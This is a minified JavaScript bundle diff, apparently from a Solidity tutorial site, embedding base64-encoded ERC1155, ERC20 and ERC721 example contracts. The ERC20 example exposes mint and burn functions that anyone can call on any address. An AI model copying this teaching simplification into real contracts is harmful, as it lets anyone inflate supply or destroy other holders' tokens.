Solidity",oA="https://www.cyfrin.io/glossary/erc-1155-solidity-code-example",rA=[{fileName:"ERC1155.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMTE1NSB7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgaWQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZUJhdGNoVHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCi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cHJvdmVkRm9yQWxsW2Zyb21dW21zZy5zZW5kZXJdLAogICAgICAgICAgICAibm90IGFwcHJvdmVkIgogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidG8gPSAwIGFkZHJlc3MiKTsKCiAgICAgICAgYmFsYW5jZU9mW2Zyb21dW2lkXSAtPSB2YWx1ZTsKICAgICAgICBiYWxhbmNlT2ZbdG9dW2lkXSArPSB2YWx1ZTsKCiAgICAgICAgZW1pdCBUcmFuc2ZlclNpbmdsZShtc2cuc2VuZGVyLCBmcm9tLCB0bywgaWQsIHZhbHVlKTsKCiAgICAgICAgaWYgKHRvLmNvZGUubGVuZ3RoID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgSUVSQzExNTVUb2tlblJlY2VpdmVyKHRvKS5vbkVSQzExNTVSZWNlaXZlZCgKICAgICAgICAgICAgICAgICAgICBtc2cuc2VuZGVyLCBmcm9tLCBpZCwgdmFsdWUsIGRhdGEKICAgICAgICAgICAgICAgICkgPT0gSUVSQzExNTVUb2tlblJlY2VpdmVyLm9uRVJDMTE1NVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB0cmFuc2ZlciIKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc2FmZUJhdGNoVHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBtc2cuc2VuZGVyID09IGZyb20gfHwgaXNBcHByb3ZlZEZvckFsbFtmcm9tXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhcHByb3ZlZCIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUodG8gIT0gYWRkcmVzcygwKSwgInRvID0gMCBhZGRyZXNzIik7CiAgICAgICAgcmVxdWlyZShpZHMubGVuZ3RoID09IHZhbHVlcy5sZW5ndGgsICJpZHMgbGVuZ3RoICE9IHZhbHVlcyBsZW5ndGgiKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgaWRzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGJhbGFuY2VPZltmcm9tXVtpZHNbaV1dIC09IHZhbHVlc1tpXTsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXVtpZHNbaV1dICs9IHZhbHVlc1tpXTsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXJCYXRjaChtc2cuc2VuZGVyLCBmcm9tLCB0bywgaWRzLCB2YWx1ZXMpOwoKICAgICAgICBpZiAodG8uY29kZS5sZW5ndGggPiAwKSB7CiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICBJRVJDMTE1NVRva2VuUmVjZWl2ZXIodG8pLm9uRVJDMTE1NUJhdGNoUmVjZWl2ZWQoCiAgICAgICAgICAgICAgICAgICAgbXNnLnNlbmRlciwgZnJvbSwgaWRzLCB2YWx1ZXMsIGRhdGEKICAgICAgICAgICAgICAgICkgPT0gSUVSQzExNTVUb2tlblJlY2VpdmVyLm9uRVJDMTE1NUJhdGNoUmVjZWl2ZWQuc2VsZWN0b3IsCiAgICAgICAgICAgICAgICAidW5zYWZlIHRyYW5zZmVyIgogICAgICAgICAgICApOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBFUkMxNjUKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJZCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHJldHVybiBpbnR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mVjZWl2ZXIub25FUkMxMTU1UmVjZWl2ZWQuc2VsZWN0b3IsCiAgICAgICAgICAgICAgICAidW5zYWZlIHRyYW5zZmVyIgogICAgICAgICAgICApOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBfYmF0Y2hNaW50KAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIGlkcywKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgdmFsdWVzLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgaW50ZXJuYWwgewogICAgICAgIHJlcXVpcmUodG8gIT0gYWRkcmVzcygwKSwgInRvID0gMCBhZGRyZXNzIik7CiAgICAgICAgcmVxdWlyZShpZHMubGVuZ3RoID09IHZhbHVlcy5sZW5ndGgsICJpZHMgbGVuZ3RoICE9IHZhbHVlcyBsZW5ndGgiKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgaWRzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGJhbGFuY2VPZlt0b11baWRzW2ldXSArPSB2YWx1ZXNbaV07CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyQmF0Y2gobXNnLnNlbmRlciwgYWRkcmVzcygwKSwgdG8sIGlkcywgdmFsdWVzKTsKCiAgICAgICAgaWYgKHRvLmNvZGUubGVuZ3RoID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgSUVSQzExNTVUb2tlblJlY2VpdmVyKHRvKS5vbkVSQzExNTVCYXRjaFJlY2VpdmVkKAogICAgICAgICAgICAgICAgICAgIG1zZy5zZW5kZXIsIGFkZHJlc3MoMCksIGlkcywgdmFsdWVzLCBkYXRhCiAgICAgICAgICAgICAgICApID09IElFUkMxMTU1VG9rZW5SZWNlaXZlci5vbkVSQzExNTVCYXRjaFJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB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SkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIGlkLCB2YWx1ZSwgZGF0YSk7CiAgICB9CgogICAgZnVuY3Rpb24gYmF0Y2hNaW50KAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICBfYmF0Y2hNaW50KG1zZy5zZW5kZXIsIGlkcywgdmFsdWVzLCBkYXRhKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQsIHVpbnQyNTYgdmFsdWUpIGV4dGVybmFsIHsKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBpZCwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhdGNoQnVybih1aW50MjU2W10gY2FsbGRhdGEgaWRzLCB1aW50MjU2W10gY2FsbGRhdGEgdmFsdWVzKQogICAgICAgIGV4dGVybmFsCiAgICB7CiAgICAgICAgX2JhdGNoQnVybihtc2cuc2VuZGVyLCBpZHMsIHZhbHVlcyk7CiAgICB9Cn0K"}],iA=`

        Example of ERC1155

        // SPDX-License-Identifier: MIT
         pragma solidity ^0.8.26;
         
        @@ -1583,7 +1583,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
                 _batchBurn(msg.sender, ids, values);
             }
         }
        -
        `,iA=({prev:s,next:a})=>r.jsx(A,{version:pA,title:eA,description:cA,cyfrinLink:tA,html:rA,prev:s,next:a,codes:oA}),gA="0.8.26",hA="ERC20",IA="Example of ERC20 token in Solidity",dA="https://www.cyfrin.io/glossary/erc-20-solidity-code-example",CA=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbn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Jlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"MyToken.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgTXlUb2tlbiBpcyBFUkMyMCB7CiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IG5hbWUsIHN0cmluZyBtZW1vcnkgc3ltYm9sLCB1aW50OCBkZWNpbWFscykKICAgICAgICBFUkMyMChuYW1lLCBzeW1ib2wsIGRlY2ltYWxzKQogICAgewogICAgICAgIC8vIE1pbnQgMTAwIHRva2VucyB0byBtc2cuc2VuZGVyCiAgICAgICAgLy8gU2ltaWxhciB0byBob3cKICAgICAgICAvLyAxIGRvbGxhciA9IDEwMCBjZW50cwogICAgICAgIC8vIDEgdG9rZW4gPSAxICogKDEwICoqIGRlY2ltYWxzKQogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIDEwMCAqIDEwICoqIHVpbnQyNTYoZGVjaW1hbHMpKTsKICAgIH0KfQo="},{fileName:"TokenSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCi8qCkhvdyB0byBzd2FwIHRva2VucwoKMS4gQWxpY2UgaGFzIDEwMCB0b2tlbnMgZnJvbSBBbGljZUNvaW4sIHdoaWNoIGlzIGEgRVJDMjAgdG9rZW4uCjIuIEJvYiBoYXMgMTAwIHRva2VucyBmcm9tIEJvYkNvaW4sIHdoaWNoIGlzIGFsc28gYSBFUkMyMCB0b2tlbi4KMy4gQWxpY2UgYW5kIEJvYiB3YW50cyB0byB0cmFkZSAxMCBBbGljZUNvaW4gZm9yI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ogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],jA=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        +`,gA=({prev:s,next:a})=>r.jsx(A,{version:eA,title:cA,description:tA,cyfrinLink:oA,html:iA,prev:s,next:a,codes:rA}),hA="0.8.26",IA="ERC20",dA="Example of ERC20 token in Solidity",CA="https://www.cyfrin.io/glossary/erc-20-solidity-code-example",jA=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICBzdHJpbmcgcHVibGljIG5hbWU7CiAgICBzdHJpbmcgcHVibGljIHN5bWJvbDsKICAgIHVpbnQ4IHB1YmxpYyBkZWNpbWFsczsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldH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gICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKGZyb20sIGFtb3VudCk7CiAgICB9Cn0K"},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"MyToken.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgTXlUb2tlbiBpcyBFUkMyMCB7CiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IG5hbWUsIHN0cmluZyBtZW1vcnkgc3ltYm9sLCB1aW50OCBkZWNpbWFscykKICAgICAgICBFUkMyMChuYW1lLCBzeW1ib2wsIGRlY2ltYWxzKQogICAgewogICAgICAgIC8vIE1pbnQgMTAwIHRva2VucyB0byBtc2cuc2VuZGVyCiAgICAgICAgLy8gU2ltaWxhciB0byBob3cKICAgICAgICAvLyAxIGRvbGxhciA9IDEwMCBjZW50cwogICAgICAgIC8vIDEgdG9rZW4gPSAxICogKDEwICoqIGRlY2ltYWxzKQogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIDEwMCAqIDEwICoqIHVpbnQyNTYoZGVjaW1hbHMpKTsKICAgIH0KfQo="},{fileName:"TokenSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCi8qCkhvdyB0byBzd2FwIHRva2VucwoKMS4gQWxpY2UgaGFzIDEwMCB0b2tlbnMgZnJvbSBBbGljZUNv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sKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],AA=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        ERC20 tokens provide functionalities to

        • transfer tokens
        • @@ -1777,7 +1777,7 @@ How to swap tokens require(sent, "Token transfer failed"); } } -`,AA=({prev:s,next:a})=>r.jsx(A,{version:gA,title:hA,description:IA,cyfrinLink:dA,html:jA,prev:s,next:a,codes:CA}),uA="0.8.26",yA="ERC721",mA="Example of ERC721 non fungible token in Solidity",bA="https://www.cyfrin.io/glossary/erc-721-solidity-code-example",wA=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2IGJhbGFuY2UpOwogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IHRva2VuSWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyBvd25lcik7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB0b2tlbklkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAg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IHRvOwoKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwCiAgICAgICAgICAgICAgICB8fCBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0cmFuc2ZlckZyb20oZnJvbSwgdG8sIGlkKTsKCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdG8uY29kZS5sZW5ndGggPT0gMAogICAgICAgICAgICAgICAgfHwgSUVSQzcyMVJlY2VpdmVyKHRvKS5vbkVSQzcyMVJlY2VpdmVkKG1zZy5zZW5kZXIsIGZyb20sIGlkLCBkYXRhKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQpIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJtaW50IHRvIHplcm8gYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdID09IGFkZHJlc3MoMCksICJhbHJlYWR5IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4odWludDI1NiBpZCkgaW50ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZShvd25lciAhPSBhZGRyZXNzKDApLCAibm90IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW293bmVyXSAtPSAxOwoKICAgICAgICBkZWxldGUgX293bmVyT2ZbaWRdOwogICAgICAgIGRlbGV0ZSBfYXBwcm92YWxzW2lkXTsKCiAgICAgICAgZW1pdCBUcmFuc2Zlcihvd25lciwgYWRkcmVzcygwKSwgaWQpOwogICAgfQp9Cgpjb250cmFjdCBNeU5GVCBpcyBFUkM3MjEgewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBleHRlcm5hbCB7CiAgICAgICAgX21pbnQodG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gX293bmVyT2ZbaWRdLCAibm90IG93bmVyIik7CiAgICAgICAgX2J1cm4oaWQpOwogICAgfQp9Cg=="}],kA=`

          Example of ERC721

          +`,uA=({prev:s,next:a})=>r.jsx(A,{version:hA,title:IA,description:dA,cyfrinLink:CA,html:AA,prev:s,next:a,codes:jA}),yA="0.8.26",mA="ERC721",bA="Example of ERC721 non fungible token in Solidity",wA="https://www.cyfrin.io/glossary/erc-721-solidity-code-example",kA=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2IGJhbGFuY2UpOwogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IHRva2VuSWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyBvd25lcik7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB0b2tlbklkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mg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JuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2